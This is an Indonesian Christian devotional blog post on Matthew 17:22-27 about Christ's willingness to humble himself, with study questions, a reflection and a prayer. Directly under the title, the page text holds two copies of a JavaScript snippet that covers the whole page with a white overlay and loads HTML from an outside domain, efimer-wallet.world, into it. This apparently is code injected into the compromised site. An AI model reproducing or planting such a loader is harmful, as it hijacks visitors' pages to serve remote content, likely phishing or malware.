KERELAAN UNTUK MERENDAHKAN DIRI

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 25 Oktober 2023

Matius 17 : 22 – 27

Pengantar

Setujukah Saudara bila ada orang yang mengatakan bahwa merendahkan diri itu sesuatu yang sulit? Mengapa demikian? Hari ini kita akan belajar tentang kesediaan untuk merendahkan diri yang diteladankan oleh Kristus sendiri.

Pemahaman

ay. 22-23 : Apa yang diajarkan Kristus ketika menyatakan bahwa diri-Nya akan mengalami penderitaan?

ay. 24-27 : Apakah keterkaitan kisah Kristus membayar bea untuk Bait Allah dengan pemberitaan tentang penderitaan yang akan dialami Kristus?

Pemberitaan Kristus tentang penderitaan yang akan dialami- Nya sesungguhnya merupakan pengajaran tentang merendahkan diri. Dalam suratnya kepada jemaat Filipi rasul Paulus berkata bahwa Kristus telah merendahkan diri-Nya sampai mati di kayu salib (Filp. 2:8). Dan pemberitaan tersebut merupakan penegasan dari pemberitaan sebelumnya yang dicatat di pasal sebelumnya, yaitu Matius 16:21. Sikap rela merendahkan diri itu bukan hanya ditunjukkan Kristus melalui kematian-Nya di atas kayu salib, tetapi juga ketika Kristus masih pelayanan sebagaimana dalam kisah Kristus membayar bea untuk Bait Allah.

Dalam menjalani hidup inkarnasi-Nya, Kristus berulang kali menunjukkan sikap merendahkan diri. Salah satunya adalah kesediaan Kristus mau membayar bea untuk Bait Allah. Dalam ayat 25, Kristus bertanya kepada Petrus, “Apakah pendapatmu, Simon? Dari siapakah raja-raja dunia ini memungut bea dan pajak? Dari rakyatnya atau dari orang asing?” Istilah Yunani huios

yang diterjemahkan “rakyat” di sini sesungguhnya dapat diartikan sebagai “anak”, seperti di dalam beberapa terjemahan lain (TL, NIV, KJV). Sebenarnya ini adalah pertanyaan retoris, pertanyaan yang tidak memerlukan jawaban. Dan dari jawaban Petrus juga cukup jelas bahwa sesungguhnya Kristus tidak perlu membayar bea untuk Bait Allah itu. Sebab Kristus adalah Anak dari Sang Penguasa. Di sini kita dapat melihat sebenarnya Kristus sedang menyatakan keilahian-Nya, bahwa diri-Nya adalah Anak Allah. Meski begitu Kristus tetap bersedia diperlakukan sebagai orang asing, bukan Anak, agar tidak menjadi batu sandungan.

Pengertian batu sandungan di sini bukan berarti bila Kristus tidak membayar bea Bait Suci berarti Kristus melakukan kesalahan, tetapi lebih pada ketidaksiapan masyarakat pada waktu itu dalam menerima kebenaran bahwa Kristus adalah Anak Allah.

Refleksi                                                                 

Dari apa yang sudah dilakukan Kristus, kita dapat belajar bahwa sebenarnya merendahkan diri itu bukan sekadar untuk menghindari konflik, akan tetapi kita perlu belajar mengenal dan taat kepada kehendak Allah agar dapat merendahkan diri yang sejati. Lalau bagaimana dengan kita selama ini? Sudahkah kita merendahkan diri?

Tekadku                                                                

Doa: Bapa surgawi, tolong saya untuk terus belajar merendahkan diri agar memiliki hidup yang berkenan di hadapan-Mu, amin.

Tindakanku                                                           

Saya akan belajar merendahkan diri.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *